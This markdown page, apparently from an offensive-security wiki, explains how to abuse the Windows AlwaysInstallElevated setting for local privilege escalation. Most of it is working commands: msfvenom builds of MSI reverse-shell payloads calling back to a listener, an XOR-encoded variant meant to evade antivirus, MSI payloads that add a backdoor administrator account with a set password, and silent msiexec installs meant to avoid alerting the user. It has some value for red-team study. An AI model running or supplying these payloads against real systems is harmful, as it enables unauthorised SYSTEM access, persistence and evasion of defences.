# AlwaysInstallElevated Exploitation - If both the **HKCU** (Current User) and **HKLM** (Local Machine) registry keys are set to `0x1`, Windows allows `.msi` (Microsoft Installer) files to be installed with **SYSTEM privileges**. This misconfiguration can be abused for **local privilege escalation (LPE)**. ## Check Vulnerability Status - You can check if a system is vulnerable by querying the `AlwaysInstallElevated` registry keys. - Check the **Current User** key: ```bash reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` - Check the **Local Machine** key: ```bash reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` > Both keys must exist and be set to `0x1` for the system to be vulnerable. ## Set Registry Keys (If You Have Permissions) - To set the vulnerability manually (for testing in a lab environment), use the following: - Set the **Current User** registry key: ```bash reg add HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 /f ``` > This adds or modifies the `AlwaysInstallElevated` key for the **current user** and sets it to `1`. - Set the **Local Machine** key (requires administrative privileges): ```bash reg add HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 /f ``` > This enables the same policy system-wide, allowing all users to install `.msi` packages with elevated privileges. ## Group Policy Configuration For AlwaysInstallElevated - The `AlwaysInstallElevated` setting can be enabled via **Group Policy Editor (gpedit.msc)**. When enabled for both the **Computer** and **User** configurations, this allows `.msi` files to be installed with **elevated SYSTEM privileges**, which can be exploited for **local privilege escalation**. > This setting should **never** be enabled in production environments unless explicitly required and secured. ### Open Group Policy Editor - To open the Group Policy Editor, run: ```bash gpedit.msc ``` > This opens the Local Group Policy Editor where you can navigate through policy paths. #### Enable Policy In Computer Configuration - Navigate to the following path: ```bash Local Computer Policy > Computer Configuration > Administrative Templates > Windows Components > Windows Installer > Always install with elevated privileges ``` > Set this policy to: `Enabled` > This allows system-wide elevated MSI installations. #### Enable Policy In User Configuration - Also enable the policy in the following path: ```bash Local Computer Policy > User Configuration > Administrative Templates > Windows Components > Windows Installer > Always install with elevated privileges ``` > Set this policy to: `Enabled` > This allows elevated MSI installs for the current user. #### Apply Group Policy Changes - After enabling **AlwaysInstallElevated** in Group Policy (`gpedit.msc`), you should force the system to apply the changes immediately using the following command: ```bash gpupdate /force ``` > `gpupdate`: Refreshes Group Policy settings. > `/force`: Reapplies all settings, not just the ones that changed. > This ensures both **Computer Configuration** and **User Configuration** policies take effect without requiring a reboot or logoff. ## Payload Generation Using msfvenom - These payloads are used to exploit the AlwaysInstallElevated policy by packaging malicious commands or reverse shells into `.msi` files. ### Reverse Shell Payloads - These payloads provide remote shell access when executed. - **Basic reverse shell as MSI (Windows, any arch):** ```bash msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -f msi -o setup.msi ``` > Replace `` with your listener IP and `` with the desired port. ```bash msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.7 LPORT=443 -f msi -o setup2.msi ``` ```bash rlwrap nc -nlvp 443 ``` **XOR-encoded reverse shell (Windows x64):** ```bash msfvenom --platform windows --arch x64 --payload windows/x64/shell_reverse_tcp LHOST=192.168.1.7 LPORT=443 --encoder x64/xor --iterations 9 --format msi --out AlwaysInstallElevated.msi ``` > This obfuscates the payload to bypass basic AV/EDR using XOR encoding. ### Command Execution Payloads - These payloads run local Windows commands with SYSTEM privileges. - **Add a user named `test1` to the local Administrators group:** ```bash msfvenom -p windows/exec CMD='net localgroup administrators test1 /add' --format msi --out update2.msi ``` - **Create a new user `armour` with password `Password@123`:** ```bash msfvenom -p windows/exec CMD='net user armour Password@123 /add' -f msi > 3.msi ``` - **Add the user `armour` to the Administrators group:** ```bash msfvenom -p windows/exec CMD='net localgroup administrators armour /add' -f msi > 4.msi ``` > You can execute any valid command that works on Windows using this method. ## Silent MSI Execution - You can install `.msi` files silently (no GUI prompts) using `msiexec`. - **Fully silent install of a malicious payload:** ```bash msiexec /quiet /qn /i update2.msi ``` > Installs `update2.msi` with no UI. Useful when stealth is important. ### Breakdown Of The Command |Option|Description| |---|---| |`msiexec`|Windows Installer command-line tool| |`/i`|Installs the specified `.msi` package| |`/quiet`|Runs installer in silent mode with no GUI| |`/qn`|UI level: no interface (`/quiet` is equivalent)| > You only need either `/quiet` or `/qn`. Using both is redundant but doesn’t cause errors. ### Recommended Clean Usage - Use either of the following: ```bash msiexec /i update2.msi /qn ``` or ```bash msiexec /i update2.msi /quiet ``` > Both commands silently install `update2.msi`, allowing you to execute payloads without alerting the user. ## Notes - This attack is commonly used in red team assessments or CTF challenges. - It's a **misconfiguration**, not a vulnerability. Proper GPO and registry hygiene can prevent it. - In real-world scenarios, EDR tools may monitor MSI installs or block unknown `.msi` executions. ## Related - [Registry Exploitation Techniques](Registry-Exploitation-Techniques.md) — parent hub - [Windows Privilege Escalation](../README.md) — escalation context - [Privilege Escalation Tools](../Privilege-Escalation-Tools.md) — WinPEAS/PowerUp detect AlwaysInstallElevated - [Service Escalation via Registry](../Services-Exploitation/Service-Escalation-via-Registry.md) — sibling registry-based escalation